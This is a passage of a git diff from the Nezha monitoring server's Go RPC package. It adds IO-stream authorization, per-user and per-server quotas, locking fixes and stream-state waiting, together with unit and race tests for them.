00000000..2f2ca8fb --- /dev/null +++ b/service/rpc/io_stream_quota_test.go @@ -0,0 +1,106 @@ +package rpc + +import ( + "errors" + "fmt" + "testing" +) + +func TestCreateStreamExactUserBoundary(t *testing.T) { + h := NewNezhaHandler() + for i := 0; i < maxStreamsPerUser; i++ { + if err := h.CreateStream(fmt.Sprintf("quota-user-%d", i), 1, uint64(i+1)); err != nil { + t.Fatalf("20th user stream must succeed: %v", err) + } + } + if err := h.CreateStream("quota-user-21", 1, 100); !errors.Is(err, ErrTooManyStreamsForUser) { + t.Fatalf("21st user stream must be rejected: %v", err) + } +} + +func TestCreateStreamNormalUserEverydayUseSucceeds(t *testing.T) { + h := NewNezhaHandler() + if err := h.CreateStream("term", 7, 1); err != nil { + t.Fatal(err) + } + if err := h.CreateStream("fm", 7, 1); err != nil { + t.Fatal(err) + } +} + +func TestCreateStreamNormalUsersAreIndependent(t *testing.T) { + h := NewNezhaHandler() + for userID := uint64(1); userID <= 5; userID++ { + for i := 0; i < maxStreamsPerUser; i++ { + if err := h.CreateStream(fmt.Sprintf("independent-%d-%d", userID, i), userID, 100+userID); err != nil { + t.Fatalf("user %d stream %d: %v", userID, i, err) + } + } + } +} + +func TestCreateStreamExemptsInternalStreamsFromPerUserCap(t *testing.T) { + h := NewNezhaHandler() + for i := 0; i < maxStreamsPerUser*3; i++ { + if err := h.CreateStream(fmt.Sprintf("internal-user-%d", i), 0, uint64(i+1)); err != nil { + t.Fatal(err) + } + } +} + +func TestCreateStreamInternalStreamsStillCountTowardPerServerCap(t *testing.T) { + h := NewNezhaHandler() + for i := 0; i < maxStreamsPerServer; i++ { + if err := h.CreateStream(fmt.Sprintf("internal-server-%d", i), 0, 9); err != nil { + t.Fatal(err) + } + } + if err := h.CreateStream("internal-server-over", 0, 9); !errors.Is(err, ErrTooManyStreamsForServer) { + t.Fatal(err) + } +} + +func TestCreateStreamExactServerBoundary(t *testing.T) { + h := NewNezhaHandler() + for i := 0; i < maxStreamsPerServer; i++ { + if err := h.CreateStream(fmt.Sprintf("quota-server-%d", i), uint64(i+1), 2); err != nil { + t.Fatalf("40th server stream must succeed: %v", err) + } + } + if err := h.CreateStream("quota-server-41", 100, 2); !errors.Is(err, ErrTooManyStreamsForServer) { + t.Fatalf("41st server stream must be rejected: %v", err) + } +} + +func TestCreateStreamReleasesUserAndServerSlots(t *testing.T) { + h := NewNezhaHandler() + for i := 0; i < maxStreamsPerUser; i++ { + if err := h.CreateStream(fmt.Sprintf("reuse-user-%d", i), 1, uint64(i+10)); err != nil { + t.Fatalf("user setup stream %d failed: %v", i, err) + } + } + if !errors.Is(h.CreateStream("reuse-user-over", 1, 100), ErrTooManyStreamsForUser) { + t.Fatal("user cap was not enforced") + } + if err := h.CloseStream("reuse-user-0"); err != nil { + t.Fatal(err) + } + if err := h.CreateStream("reuse-user-new", 1, 101); err != nil { + t.Fatalf("closed user slot must be reusable: %v", err) + } + + for i := 0; i < maxStreamsPerServer; i++ { + if err := h.CreateStream(fmt.Sprintf("reuse-server-%d", i), uint64(i+2), 2); err != nil { + t.Fatalf("server setup stream %d failed: %v", i, err) + } + } + if !errors.Is(h.CreateStream("reuse-server-over", 100, 2), ErrTooManyStreamsForServer) { + t.Fatal("server cap was not enforced") + } + if err := h.CloseStream("reuse-server-0"); err != nil { + t.Fatal(err) + } + if err := h.CreateStream("reuse-server-new", 100, 2); err != nil { + t.Fatalf("closed server slot must be reusable: %v", err) + } +} diff --git a/service/rpc/io_stream_race_test.go b/service/rpc/io_stream_race_test.go new file mode 100644 index 00000000..e6fe8afe --- /dev/null +++ b/service/rpc/io_stream_race_test.go @@ -0,0 +1,92 @@ +package rpc + +import ( + "io" + "sync" + "testing" + "time" +) + +// nopRWC is a minimal io.ReadWriteCloser used for race tests; Close is a +// no-op so the racer goroutines do not panic on shared state. +type nopRWC struct{} + +func (nopRWC) Read(p []byte) (int, error) { return 0, io.EOF } +func (nopRWC) Write(p []byte) (int, error) { return len(p), nil } +func (nopRWC) Close() error { return nil } + +// H10 regression: UserConnected/AgentConnected mutate stream.userIo / +// stream.agentIo without holding ioStreamMutex, while WaitForAgent / +// RevokeStreamsForPurpose / RevokeStreamsForServer read & close the same +// fields under the lock. The go race detector catches it deterministically +// under -race; without the fix this test fails. +func TestIOStream_AgentConnectedIsRaceFreeUnderLock(t *testing.T) { + h := NewNezhaHandler() + const streamId = "race-test" + h.CreateStream(streamId, 1, 1) + t.Cleanup(func() { _ = h.CloseStream(streamId) }) + + var wg sync.WaitGroup + wg.Add(3) + + go func() { + defer wg.Done() + // repeatedly attach an agent + for i := 0; i < 200; i++ { + _ = h.AgentConnected(streamId, nopRWC{}) + } + }() + + go func() { + defer wg.Done() + // concurrently attach a user + for i := 0; i < 200; i++ { + _ = h.UserConnected(streamId, nopRWC{}) + } + }() + + go func() { + defer wg.Done() + // Revoker takes the write lock and reads the same userIo/agentIo + // fields the unsynchronised writers above are setting. Use a real + // targetServerID (1) so RevokeStreamsForServer actually inspects + // the entry's userIo/agentIo before deleting. + for i := 0; i < 200; i++ { + h.RevokeStreamsForServer(1) + h.CreateStream(streamId, 1, 1) + } + }() + + wg.Wait() +} + +// StartStream reads stream.userIo/agentIo while it waits for both endpoints. +// Those reads must be lock-protected against the concurrent writes done by +// UserConnected/AgentConnected; otherwise -race flags the data race on the +// interface fields. +func TestIOStream_StartStreamReadsAreRaceFree(t *testing.T) { + h := NewNezhaHandler() + const streamId = "startstream-race" + h.CreateStream(streamId, 2, 2) + t.Cleanup(func() { _ = h.CloseStream(streamId) }) + + var wg sync.WaitGroup + wg.Add(3) + + go func() { + defer wg.Done() + _ = h.StartStream(streamId, 50*time.Millisecond) + }() + go func() { + defer wg.Done() + time.Sleep(5 * time.Millisecond) + _ = h.AgentConnected(streamId, nopRWC{}) + }() + go func() { + defer wg.Done() + time.Sleep(5 * time.Millisecond) + _ = h.UserConnected(streamId, nopRWC{}) + }() + + wg.Wait() +} diff --git a/service/rpc/io_stream_registry.go b/service/rpc/io_stream_registry.go new file mode 100644 index 00000000..cc70c7fe --- /dev/null +++ b/service/rpc/io_stream_registry.go @@ -0,0 +1,85 @@ +package rpc + +import ( + "errors" + "io" +) + +var ErrAgentStreamAlreadyConnected = errors.New("agent stream already connected") + +func (s *NezhaHandler) IsStreamAuthorizedForAgent(streamId string, agentServerID uint64) bool { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + ctx, ok := s.ioStreams[streamId] + return ok && ctx.targetServerID != 0 && ctx.targetServerID == agentServerID +} + +func (s *NezhaHandler) IsStreamAuthorizedForUser(streamId string, userID uint64, isAdmin bool) bool { + creator, found := s.StreamOwnership(streamId) + return found && (isAdmin || creator == userID) +} + +func (s *NezhaHandler) StreamOwnership(streamId string) (uint64, bool) { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + ctx, ok := s.ioStreams[streamId] + if !ok { + return 0, false + } + return ctx.creatorUserID, true +} + +func (s *NezhaHandler) StreamTarget(streamId string) (uint64, bool) { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + ctx, ok := s.ioStreams[streamId] + if !ok { + return 0, false + } + return ctx.targetServerID, true +} + +func (s *NezhaHandler) GetStream(streamId string) (*ioStreamContext, error) { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + if ctx, ok := s.ioStreams[streamId]; ok { + return ctx, nil + } + return nil, errors.New("stream not found") +} + +func (s *NezhaHandler) UserConnected(streamId string, userIo io.ReadWriteCloser) error { + s.ioStreamMutex.Lock() + stream, ok := s.ioStreams[streamId] + if !ok { + s.ioStreamMutex.Unlock() + return errors.New("stream not found") + } + stream.userIo = userIo + s.ioStreamMutex.Unlock() + stream.userIoChOnce.Do(func() { close(stream.userIoConnectCh) }) + return nil +} + +func (s *NezhaHandler) AgentConnected(streamId string, agentIo io.ReadWriteCloser) error { + s.ioStreamMutex.Lock() + stream, ok := s.ioStreams[streamId] + if !ok { + s.ioStreamMutex.Unlock() + return errors.Join(errors.New("stream not found"), agentIo.Close()) + } + if stream.agentIo != nil { + s.ioStreamMutex.Unlock() + return errors.Join(ErrAgentStreamAlreadyConnected, agentIo.Close()) + } + stream.agentIo = agentIo + s.ioStreamMutex.Unlock() + stream.agentIoChOnce.Do(func() { close(stream.agentIoConnectCh) }) + return nil +} + +func (s *NezhaHandler) streamEndpoints(stream *ioStreamContext) (io.ReadWriteCloser, io.ReadWriteCloser) { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + return stream.userIo, stream.agentIo +} diff --git a/service/rpc/io_stream_rpc.go b/service/rpc/io_stream_rpc.go new file mode 100644 index 00000000..3d878fbe --- /dev/null +++ b/service/rpc/io_stream_rpc.go @@ -0,0 +1,58 @@ +package rpc + +import ( + "fmt" + "log" + "time" + + "github.com/nezhahq/nezha/pkg/grpcx" + pb "github.com/nezhahq/nezha/proto" +) + +func (s *NezhaHandler) IOStream(stream pb.NezhaService_IOStreamServer) error { + clientID, err := s.Auth.Check(stream.Context()) + if err != nil { + return err + } + id, err := stream.Recv() + if err != nil { + return err + } + if id == nil || !isValidIOStreamMagic(id.Data) { + return fmt.Errorf("invalid stream id") + } + streamID := string(id.Data[4:]) + if !s.IsStreamAuthorizedForAgent(streamID, clientID) { + return fmt.Errorf("stream not authorized for agent") + } + if _, err := s.GetStream(streamID); err != nil { + return err + } + wrapper := grpcx.NewIOStreamWrapper(stream) + keepaliveDone := make(chan struct{}) + go func() { + defer close(keepaliveDone) + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + for { + select { + case <-wrapper.Context().Done(): + return + case <-wrapper.Done(): + return + case <-ticker.C: + if err := wrapper.SendKeepalive(); err != nil { + log.Printf("NEZHA>> IOStream keepAlive error: %v\n", err) + return + } + } + } + }() + if err := s.AgentConnected(streamID, wrapper); err != nil { + _ = wrapper.Close() + return err + } + wrapper.Wait() + <-keepaliveDone + return nil +} diff --git a/service/rpc/io_stream_state.go b/service/rpc/io_stream_state.go new file mode 100644 index 00000000..4c79676a --- /dev/null +++ b/service/rpc/io_stream_state.go @@ -0,0 +1,95 @@ +package rpc + +import ( + "context" + "errors" +) + +var ErrInvalidIOStreamStateExpectation = errors.New("invalid IOStream state expectation") + +type IOStreamState struct { + Count int `json:"count"` + Generation uint64 `json:"generation"` +} + +type IOStreamStateExpectation struct { + // A pointer distinguishes an omitted count from an explicit zero count. + ExpectedCount *int `json:"expected_count,omitempty"` + PresentStreamID string `json:"present_stream_id,omitempty"` + AbsentStreamID string `json:"absent_stream_id,omitempty"` +} + +func ExpectedIOStreamCount(count int) *int { + return &count +} + +func (s IOStreamStateExpectation) validate() error { + if s.ExpectedCount == nil && s.PresentStreamID == "" && s.AbsentStreamID == "" { + return ErrInvalidIOStreamStateExpectation + } + if s.ExpectedCount != nil && *s.ExpectedCount < 0 { + return ErrInvalidIOStreamStateExpectation + } + if s.PresentStreamID != "" && s.PresentStreamID == s.AbsentStreamID { + return ErrInvalidIOStreamStateExpectation + } + return nil +} + +func (s *NezhaHandler) SnapshotIOStreamState() IOStreamState { + s.ioStreamMutex.RLock() + defer s.ioStreamMutex.RUnlock() + return s.snapshotIOStreamStateLocked() +} + +func (s *NezhaHandler) snapshotIOStreamStateLocked() IOStreamState { + return IOStreamState{Count: len(s.ioStreams), Generation: s.ioStreamGeneration} +} + +func (s *NezhaHandler) ioStreamStateExpectationSatisfiedLocked(expectation IOStreamStateExpectation) bool { + if expectation.ExpectedCount != nil && len(s.ioStreams) != *expectation.ExpectedCount { + return false + } + if expectation.PresentStreamID != "" { + if _, exists := s.ioStreams[expectation.PresentStreamID]; !exists { + return false + } + } + if expectation.AbsentStreamID != "" { + if _, exists := s.ioStreams[expectation.AbsentStreamID]; exists { + return false + } + } + return true +} + +func (s *NezhaHandler) WaitForIOStreamState(ctx context.Context, expectation IOStreamStateExpectation) (IOStreamState, error) { + if err := expectation.validate(); err != nil { + return IOStreamState{}, err + } + for { + s.ioStreamMutex.RLock() + notify := s.ioStreamNotify + state := s.snapshotIOStreamStateLocked() + satisfied := s.ioStreamStateExpectationSatisfiedLocked(expectation) + observer := s.ioStreamWaitLockedHook + s.ioStreamMutex.RUnlock() + if observer != nil { + observer() + } + if satisfied { + return state, nil + } + select { + case <-ctx.Done(): + return IOStreamState{}, ctx.Err() + case <-notify: + } + } +} + +func (s *NezhaHandler) publishIOStreamStateChangeLocked() { + s.ioStreamGeneration++ + close(s.ioStreamNotify) + s.ioStreamNotify = make(chan struct{}) +} diff --git a/service/rpc/io_stream_state_agentcompat.go b/service/rpc/io_stream_state_agentcompat.go new file mode 100644 index 00000000..65bb719e --- /dev/null +++ b/service/rpc/io_stream_state_agentcompat.go @@ -0,0 +1,11 @@ +//go:build agentcompat + +package rpc + +// SetIOStreamStateWaitObserverForAgentcompat installs a deterministic harness +// seam for observing that a waiter captured its notification channel. +func (s *NezhaHandler) SetIOStreamStateWaitObserverForAgentcompat(observer func()) { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + s.ioStreamWaitLockedHook = observer +} diff --git a/service/rpc/io_stream_state_expectation_test.go b/service/rpc/io_stream_state_expectation_test.go new file mode 100644 index 00000000..7344883d --- /dev/null +++ b/service/rpc/io_stream_state_expectation_test.go @@ -0,0 +1,142 @@ +package rpc + +import ( + "context" + "errors" + "strings" + "testing" +) + +func TestWaitForIOStreamStateRejectsZeroValueExpectation(t *testing.T) { + handler := NewNezhaHandler() + if _, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{}); !errors.Is(err, ErrInvalidIOStreamStateExpectation) { + t.Fatalf("zero-value expectation error: %v", err) + } +} + +func TestWaitForIOStreamStateAcceptsExplicitZeroCount(t *testing.T) { + handler := NewNezhaHandler() + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0)}) + if err != nil { + t.Fatal(err) + } + if state != (IOStreamState{}) { + t.Fatalf("explicit zero state: %+v", state) + } +} + +func TestWaitForIOStreamStateAcceptsPresentOnlyExpectation(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("present-only", 1, 1); err != nil { + t.Fatal(err) + } + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{PresentStreamID: "present-only"}) + if err != nil { + t.Fatal(err) + } + if state.Count != 1 || state.Generation != 1 { + t.Fatalf("present-only state: %+v", state) + } +} + +func TestWaitForIOStreamStateRejectsSamePresentAndAbsentID(t *testing.T) { + handler := NewNezhaHandler() + _, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{PresentStreamID: "same", AbsentStreamID: "same"}) + if !errors.Is(err, ErrInvalidIOStreamStateExpectation) { + t.Fatalf("same identity expectation error: %v", err) + } +} + +func TestWaitForIOStreamStateRequiresAllSpecifiedConditions(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("present", 1, 1); err != nil { + t.Fatal(err) + } + if err := handler.CreateStream("other", 1, 2); err != nil { + t.Fatal(err) + } + if err := handler.CreateStream("absent", 1, 3); err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + _, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{ + ExpectedCount: ExpectedIOStreamCount(2), + PresentStreamID: "present", + AbsentStreamID: "absent", + }) + if !errors.Is(err, context.Canceled) { + t.Fatalf("combined expectation cancellation: %v", err) + } +} + +func TestWaitForIOStreamStateAbsenceOnlyIgnoresUnrelatedStreams(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("unrelated", 1, 1); err != nil { + t.Fatal(err) + } + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{AbsentStreamID: "absent"}) + if err != nil { + t.Fatal(err) + } + if state.Count != 1 || state.Generation != 1 { + t.Fatalf("absence-only state: %+v", state) + } +} + +func TestWaitForIOStreamStateRejectsNegativeCountWithoutPrivateID(t *testing.T) { + handler := NewNezhaHandler() + _, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(-1), AbsentStreamID: "private-stream-id"}) + if !errors.Is(err, ErrInvalidIOStreamStateExpectation) { + t.Fatalf("negative expectation error: %v", err) + } + if err != nil && strings.Contains(err.Error(), "private-stream-id") { + t.Fatalf("private stream ID leaked: %v", err) + } +} + +func TestWaitForIOStreamStateRequiresCombinedCountAndAbsence(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("present", 1, 1); err != nil { + t.Fatal(err) + } + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1), AbsentStreamID: "absent"}) + if err != nil { + t.Fatal(err) + } + if state.Count != 1 || state.Generation != 1 { + t.Fatalf("combined expectation state: %+v", state) + } +} + +func TestWaitForIOStreamStateCancellationRemainsValidForUnsatisfiedExpectation(t *testing.T) { + handler := NewNezhaHandler() + ctx, cancel := context.WithCancel(context.Background()) + cancel() + if _, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}); !errors.Is(err, context.Canceled) { + t.Fatalf("cancel error: %v", err) + } +} + +func TestWaitForIOStreamStateAlreadySatisfiedReturnsSnapshot(t *testing.T) { + handler := NewNezhaHandler() + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0)}) + if err != nil { + t.Fatal(err) + } + if state != (IOStreamState{}) { + t.Fatalf("already satisfied state: %+v", state) + } +} + +func TestWaitForIOStreamStateRejectsInvalidAndHonorsCancellation(t *testing.T) { + handler := NewNezhaHandler() + if _, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(-1)}); !errors.Is(err, ErrInvalidIOStreamStateExpectation) { + t.Fatalf("invalid count error: %v", err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + if _, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}); !errors.Is(err, context.Canceled) { + t.Fatalf("cancel error: %v", err) + } +} diff --git a/service/rpc/io_stream_state_observer_agentcompat_test.go b/service/rpc/io_stream_state_observer_agentcompat_test.go new file mode 100644 index 00000000..ff5abebc --- /dev/null +++ b/service/rpc/io_stream_state_observer_agentcompat_test.go @@ -0,0 +1,111 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "sync" + "testing" + "time" +) + +func TestWaitForIOStreamStateObserverCanReenterWriteLock(t *testing.T) { + handler := NewNezhaHandler() + observerCalled := make(chan struct{}) + var observerOnce sync.Once + handler.SetIOStreamStateWaitObserverForAgentcompat(func() { + observerOnce.Do(func() { + if err := handler.CreateStreamWithPurpose("observer-reentrant", 1, 1, PurposeLegacy); err != nil { + t.Errorf("observer create: %v", err) + } + close(observerCalled) + }) + }) + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + result := make(chan error, 1) + go func() { + _, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{PresentStreamID: "observer-reentrant"}) + result <- err + }() + select { + case <-observerCalled: + case <-ctx.Done(): + t.Fatalf("observer remained blocked by read lock: %v", ctx.Err()) + } + select { + case err := <-result: + if err != nil { + t.Fatalf("wait after reentrant observer: %v", err) + } + case <-ctx.Done(): + t.Fatalf("wait did not observe observer mutation: %v", ctx.Err()) + } +} + +func TestWaitForIOStreamStateObserverMutationWakesCapturedNotification(t *testing.T) { + handler := NewNezhaHandler() + observerCalled := make(chan struct{}) + var observerOnce sync.Once + handler.SetIOStreamStateWaitObserverForAgentcompat(func() { + observerOnce.Do(func() { + if err := handler.CreateStreamWithPurpose("observer-wake", 1, 1, PurposeLegacy); err != nil { + t.Errorf("observer create: %v", err) + } + close(observerCalled) + }) + }) + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + state, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}) + if err != nil { + t.Fatalf("wait after observer mutation: %v", err) + } + select { + case <-observerCalled: + default: + t.Fatal("observer did not run") + } + if state.Count != 1 { + t.Fatalf("observer mutation state: %+v", state) + } +} + +func TestWaitForIOStreamStateNoOpObserverKeepsMutationBetweenSnapshotAndSelect(t *testing.T) { + handler := NewNezhaHandler() + observerCalled := make(chan struct{}) + var observerOnce sync.Once + handler.SetIOStreamStateWaitObserverForAgentcompat(func() { + observerOnce.Do(func() { close(observerCalled) }) + }) + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + result := make(chan IOStreamState, 1) + resultErr := make(chan error, 1) + go func() { + state, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}) + if err != nil { + resultErr <- err + return + } + result <- state + }() + select { + case <-observerCalled: + case <-ctx.Done(): + t.Fatalf("observer did not run: %v", ctx.Err()) + } + if err := handler.CreateStreamWithPurpose("observer-noop-create", 1, 1, PurposeLegacy); err != nil { + t.Fatalf("mutation between snapshot and select: %v", err) + } + select { + case state := <-result: + if state.Count != 1 { + t.Fatalf("mutation state: %+v", state) + } + case err := <-resultErr: + t.Fatalf("wait after no-op observer mutation: %v", err) + case <-ctx.Done(): + t.Fatalf("wait missed mutation after no-op observer: %v", ctx.Err()) + } +} diff --git a/service/rpc/io_stream_state_test.go b/service/rpc/io_stream_state_test.go new file mode 100644 index 00000000..da0153e2 --- /dev/null +++ b/service/rpc/io_stream_state_test.go @@ -0,0 +1,68 @@ +package rpc + +import ( + "errors" + "testing" +) + +func TestIOStreamStateSnapshotAndGeneration(t *testing.T) { + handler := NewNezhaHandler() + initial := handler.SnapshotIOStreamState() + if initial.Count != 0 || initial.Generation != 0 { + t.Fatalf("unexpected initial state: %+v", initial) + } + if err := handler.CreateStream("state-stream", 1, 1); err != nil { + t.Fatal(err) + } + created := handler.SnapshotIOStreamState() + if created.Count != 1 || created.Generation != 1 { + t.Fatalf("unexpected created state: %+v", created) + } + if err := handler.CreateStream("state-stream", 2, 2); !errors.Is(err, ErrStreamAlreadyExists) { + t.Fatalf("duplicate create error: %v", err) + } + if got := handler.SnapshotIOStreamState(); got != created { + t.Fatalf("duplicate create changed state: %+v", got) + } + if err := handler.CloseStream("unknown"); err != nil { + t.Fatal(err) + } + if got := handler.SnapshotIOStreamState(); got != created { + t.Fatalf("unknown close changed state: %+v", got) + } +} + +func TestIOStreamStateRevocationPublishesOncePerBatch(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStreamWithPurpose("purpose-a", 0, 1, PurposeMCPTransfer); err != nil { + t.Fatal(err) + } + if err := handler.CreateStreamWithPurpose("purpose-b", 0, 1, PurposeMCPTransfer); err != nil { + t.Fatal(err) + } + if err := handler.CreateStream("server-a", 0, 2); err != nil { + t.Fatal(err) + } + before := handler.SnapshotIOStreamState() + if revoked := handler.RevokeStreamsForPurpose(PurposeMCPTransfer); revoked != 2 { + t.Fatalf("revoked purpose streams: %d", revoked) + } + afterPurpose := handler.SnapshotIOStreamState() + if afterPurpose.Generation != before.Generation+1 || afterPurpose.Count != 1 { + t.Fatalf("purpose revocation state: before=%+v after=%+v", before, afterPurpose) + } + if revoked := handler.RevokeStreamsForPurpose(PurposeMCPTransfer); revoked != 0 { + t.Fatalf("repeat purpose revocation: %d", revoked) + } + if got := handler.SnapshotIOStreamState(); got != afterPurpose { + t.Fatalf("empty purpose revocation changed state: %+v", got) + } + handler.RevokeStreamsForServer(2) + if got := handler.SnapshotIOStreamState(); got.Generation != afterPurpose.Generation+1 || got.Count != 0 { + t.Fatalf("server revocation state: %+v", got) + } + handler.RevokeStreamsForServer(2) + if got := handler.SnapshotIOStreamState(); got.Generation != afterPurpose.Generation+1 { + t.Fatalf("empty server revocation changed generation: %+v", got) + } +} diff --git a/service/rpc/io_stream_state_wait_test.go b/service/rpc/io_stream_state_wait_test.go new file mode 100644 index 00000000..825e5598 --- /dev/null +++ b/service/rpc/io_stream_state_wait_test.go @@ -0,0 +1,220 @@ +package rpc + +import ( + "context" + "sync" + "testing" + "time" +) + +func TestWaitForIOStreamStateWakesOnCloseAndAbsence(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("wait-state", 1, 1); err != nil { + t.Fatal(err) + } + result := make(chan IOStreamState, 1) + go func() { + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0), AbsentStreamID: "wait-state"}) + if err != nil { + t.Errorf("wait failed: %v", err) + return + } + result <- state + }() + if err := handler.CloseStream("wait-state"); err != nil { + t.Fatal(err) + } + state := <-result + if state.Count != 0 || state.Generation != 2 { + t.Fatalf("unexpected waited state: %+v", state) + } +} + +func TestWaitForIOStreamStateCreateWakeUsesCapturedNotification(t *testing.T) { + handler := NewNezhaHandler() + waitReady := make(chan struct{}) + handler.ioStreamWaitLockedHook = func() { + select { + case <-waitReady: + default: + close(waitReady) + } + } + result := make(chan IOStreamState, 1) + go func() { + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}) + if err == nil { + result <- state + } + }() + select { + case <-waitReady: + case <-time.After(time.Second): + t.Fatal("waiter did not capture its notification channel") + } + if err := handler.CreateStream("create-wake", 1, 1); err != nil { + t.Fatal(err) + } + select { + case state := <-result: + if state.Count != 1 || state.Generation != 1 { + t.Fatalf("unexpected created state: %+v", state) + } + case <-time.After(time.Second): + t.Fatal("create did not wake waiter") + } +} + +func TestWaitForIOStreamStateCloseWakeUsesCapturedNotification(t *testing.T) { + handler := NewNezhaHandler() + if err := handler.CreateStream("close-wake", 1, 1); err != nil { + t.Fatal(err) + } + waitReady := make(chan struct{}) + handler.ioStreamWaitLockedHook = func() { + select { + case <-waitReady: + default: + close(waitReady) + } + } + result := make(chan IOStreamState, 1) + go func() { + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0), AbsentStreamID: "close-wake"}) + if err == nil { + result <- state + } + }() + select { + case <-waitReady: + case <-time.After(time.Second): + t.Fatal("waiter did not capture its notification channel") + } + if err := handler.CloseStream("close-wake"); err != nil { + t.Fatal(err) + } + select { + case state := <-result: + if state.Count != 0 || state.Generation != 2 { + t.Fatalf("unexpected closed state: %+v", state) + } + case <-time.After(time.Second): + t.Fatal("close did not wake waiter") + } +} + +func TestWaitForIOStreamStateDoesNotMissMutationBetweenSnapshotAndWait(t *testing.T) { + handler := NewNezhaHandler() + hookCalled := make(chan struct{}) + mutationDone := make(chan error, 1) + var hookOnce sync.Once + handler.ioStreamWaitLockedHook = func() { + hookOnce.Do(func() { + close(hookCalled) + go func() { + mutationDone <- handler.CreateStream("lost-wakeup", 1, 1) + }() + }) + } + result := make(chan IOStreamState, 1) + go func() { + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}) + if err == nil { + result <- state + } + }() + select { + case <-hookCalled: + case <-time.After(time.Second): + t.Fatal("waiter did not reach deterministic mutation seam") + } + select { + case err := <-mutationDone: + if err != nil { + t.Fatal(err) + } + case <-time.After(time.Second): + t.Fatal("mutation did not complete") + } + select { + case state := <-result: + if state.Count != 1 || state.Generation != 1 { + t.Fatalf("unexpected mutation state: %+v", state) + } + case <-time.After(time.Second): + t.Fatal("waiter missed mutation published during wait setup") + } +} + +func TestWaitForIOStreamStateConcurrentCreateCloseWaiters(t *testing.T) { + handler := NewNezhaHandler() + created := make(chan IOStreamState, 1) + closed := make(chan IOStreamState, 1) + go func() { + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(1)}) + if err == nil { + created <- state + } + }() + if err := handler.CreateStream("concurrent", 1, 1); err != nil { + t.Fatal(err) + } + select { + case state := <-created: + if state.Count != 1 { + t.Fatalf("created waiter state: %+v", state) + } + case <-time.After(time.Second): + t.Fatal("created waiter did not wake") + } + go func() { + state, err := handler.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0), AbsentStreamID: "concurrent"}) + if err == nil { + closed <- state + } + }() + if err := handler.CloseStream("concurrent"); err != nil { + t.Fatal(err) + } + select { + case state := <-closed: + if state.Count != 0 { + t.Fatalf("closed waiter state: %+v", state) + } + case <-time.After(time.Second): + t.Fatal("closed waiter did not wake") + } +} + +func TestWaitForIOStreamStateDoesNotAcceptUnrelatedSameCountForPresentID(t *testing.T) { + handler := NewNezhaHandler() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + result := make(chan error, 1) + go func() { + _, err := handler.WaitForIOStreamState(ctx, IOStreamStateExpectation{ + ExpectedCount: ExpectedIOStreamCount(1), + PresentStreamID: "wanted", + }) + result <- err + }() + if err := handler.CreateStream("unrelated", 1, 1); err != nil { + t.Fatal(err) + } + select { + case err := <-result: + if err == nil { + t.Fatal("same-count unrelated stream satisfied identity expectation") + } + default: + } + cancel() + select { + case err := <-result: + if err == nil { + t.Fatal("identity waiter unexpectedly succeeded") + } + case <-time.After(time.Second): + t.Fatal("identity waiter did not observe cancellation") + } +} diff --git a/service/rpc/io_stream_test.go b/service/rpc/io_stream_test.go index ea90387c..f329da99 100644 --- a/service/rpc/io_stream_test.go +++ b/service/rpc/io_stream_test.go @@ -12,7 +12,7 @@ func TestIOStream(t *testing.T) { const testStreamID = "ffffffff-ffff-ffff-ffff-ffffffffffff" - handler.CreateStream(testStreamID) + handler.CreateStream(testStreamID, 0, 0) userIo, agentIo := newPipeReadWriter(), newPipeReadWriter() defer func() { userIo.Close() @@ -105,3 +105,164 